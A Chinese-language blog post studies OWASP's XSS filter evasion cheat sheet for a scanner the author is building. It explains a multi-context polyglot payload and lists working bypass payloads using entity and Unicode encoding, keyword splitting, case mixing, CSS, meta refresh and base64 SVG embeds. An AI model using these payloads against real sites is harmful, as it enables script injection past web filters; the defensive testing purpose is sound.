XSS Filter Evasion Cheat Sheet研究

前言

这段时间在公司写XSS扫描器,之前留下的脚本是遍历payload list的暴力扫描,而我的任务是修改为类似于SQLMAP的智能扫描模式。 在寻找到输入输出点之后,我开始思考智能化扫描能给扫描器带来什么样的提升。 直到今天,我才有了一个初步的答案:根据上下文环境,定制payload。 定制化的payload不仅能够根据WEB前端框架选择payload以减少扫描流量,还能根据输出点的实际情况判断过滤条件,通过一些方法来绕过过滤。 因此,我开始研究XSS绕过过滤的方法。 偶然翻到OWASP维护的XSS Filter Evasion Cheat Sheet,之前都只是拿其中的payload来使用,并没有仔细研究过每个payload的原理,就趁此机会好好研究。

针对扫描器的应用场景,我将一些适应性广泛的payload记录下来,并且根据它们绕过的过滤条件将payload分类。 实验过程中发现payload无法执行,不得其解,等研究清楚了再补上。

一个绝妙的适应性payload

首先吸引我眼球的是这样一个向量:

1
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

OWASP对它的描述是,能够在多种上下文环境下运行,包括html、 script字符串、 js代码和url中生效。 这个payload正是扫描器需要的!但它是如何做到适应多种环境的呢?我们尝试对它进行分解。

首先是一开始的Javascript伪协议,熟悉XSS的人对它肯定不陌生。 这种伪协议能够使后面的语句在a标签的href、 各类on事件中被当作JavaScript代码执行。 因此,它后面紧跟的注释符/**/之间的代码便被注释掉了,最后//之后的代码也被注释掉,真正执行的是[]/+alert(1)这个语句。 这个奇怪的语句是什么意思呢?我们知道,JavaScript是一种弱类型语言,在运算过程中对于算子的类型没有严格的要求。 上面这个语句可以看作a除以正b,其中a是空的数组,b是alert(1)这个函数的执行结果。 数组在计算时会被转化成它的长度,而函数则是使用函数的返回值。 由于alert函数是没有返回的,这个语句的执行结果便是NaN。 我们打开浏览器的控制台,执行这个语句,可以看到这个结果。 到此,我们的目标:alert(1)已经被成功执行了。 以上便是输出点在href或on事件中的情况。

然后是html的注释结束符,以及一些标签的结束标签,这部分不细说。 我们现在关注后面的svg标签。 我们将这个payload直接保存在一个html文件中,最终生效的就是这个svg标签,它的唯一属性是一个onload的事件,内容为+/"/+/onmouseover=1/+/[*/[]/+alert(1)//,这个语句也会被当作JS代码执行。 和上面同理,+号分隔的字符会被分别处理最后再求和。 我们看到前面的/"//onmouseover=1//[*/[]/都被当做JS的正则表达式了,自然没有语法错误。 最后的alert也成功执行。
js

如果输出点在html属性中会怎么样呢?假设这个属性是在双引号字符串中,那么payload的前半部分javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"会闭合前面的双引号成为一个新的字符串,后面的/+/onmouseover=1/+/[*/[]/+alert(1)//'>形成一个新的onmouseover事件。 这里注意html标签中字段是可以用/分割的,因此加号和onmouseover成为了这个标签的两个属性,onmouseover后面的语句也在鼠标滑过时成功被执行了,原理和上面一样,不再赘述。 单引号属性和双引号也基本相同,都是为标签新增了一个鼠标滑过事件。
如果这个输出点是在JavaScript代码中的字符串呢?同样,单引号、双引号之前的内容会闭合前面的字符串,而后面的/+/onmouseover=1/+/[*/[]/+alert(1)//也还是会被当做正则表达式和函数的求和,从而成功执行。

此payload构造的精妙之处在于利用了+号和/号的多重含义,是得在任何上下文中都没有语法错误,实在精妙。 它的高适应性,在使用扫描器时不知道输出点的情况下及其实用。

利用特殊编码绕过特殊字符过滤

这类绕过方法其实在“那些年我们一起学XSS”中已经都出现过了,常用的是以下两种编码方式。

  1. 在html标签的属性中,可以用HTML实体编码
1
<IMG SRC=javascript:alert(&quot;XSS&quot;)>

另外不带分号也是可以的,这种方法可以绕过针对&#xx;形式的过滤

1
2
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

实体编码只能在html节点的属性中使用,但有一个特殊情况:

1
<svg><script>alert&#40;1&#41;</script>

不在html节点属性中的实体编码居然成功转义并且执行了?这里能够运行的原因是,svg后面的元素遵循xml标准,而xml中的实体编码会被自动解码。 具体的细节可以参考SVG XSS的一个黑魔法,讲得比我要细致很多。

  1. 在JS字符串中,可以用Unicode编码
1
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

其中,\0061 = \u0061 = \x61
值得一提的是p神提过的技巧,利用location来变形我们的XSS PAYLOAD

1
<img src="1" onerror=location="javascript:alert\u00281\u0029">

利用location,使得后面的JS语句执行变成JS字符串,从而可以利用Unicode编码绕过各种过滤。

绕过关键字过滤

很多WAF会将一些危险的关键字,诸如script、 on过滤掉。 我们来看看这个列表中有哪些绕过方式。

  1. 在payload中加入占位符,如空格、 tab、 换行等。 正如我们平时写代码一样,都不影响代码正常运行:
1
2
3
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

这里有读者可能会困惑,为什么这几条语句都没有弹窗?我们打开控制台,看看network页面:
network
可以看到javascript:alert('XSS')生效了,但是被chrome的安全策略取消了。 我们尝试在iframe中使用,便能够看到弹窗:

1
<iframe src="jav&#x09;ascript:alert('XSS');">

success
这个例子也说明了测试xss时最好在控制台以及网络日志里面查看输出,而不要仅仅依赖弹窗。

  1. 双重转义。 有些WAF的逻辑有误,当我们输入\”时,会被转义成\“,从而使双引号逃逸:
1
\";alert('XSS');//

我认为它与重写script的payload有异曲同工之妙

1
<scrscriptipt>alert(1)</scrscriptipt>

  1. 大小写,原理无需多说,过滤语句不全面导致:
1
<IMG SRC=1 onerror=JaVaScRiPt:alert('XSS')>

零散的技巧

利用重音符来包含字符串, 大部分过滤器都没有过滤这个字符:

1
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

非常奇怪的img标签解析,OWASP上描述是为了兼容不规范的编码:

1
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

CSS中的XSS:

1
2
<STYLE>body{background-image:url(//eviloh.xyz);}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

使用meta标签:

1
2
3
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

插入含有xss代码的flash, 可以添加属性allowScriptAccess="never"以及allownetworking="internal"来减小被过滤的风险

1
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

后话

xss的绕过过滤技巧极多,受到浏览器、 上下文、 编码、 前端框架等多种因素影响,不管是手动测试还是集成为扫描器,都不是一蹴而就的事情,需要长时间的积累和迭代。 后面我会总结一个xss过滤速查表,力求能够更上攻击载荷更新的步伐。

参考资料

  1. XSS Filter Evasion Cheat Sheet
  2. SVG XSS的一个黑魔法
  3. 利用location来变形我们的XSS PAYLOAD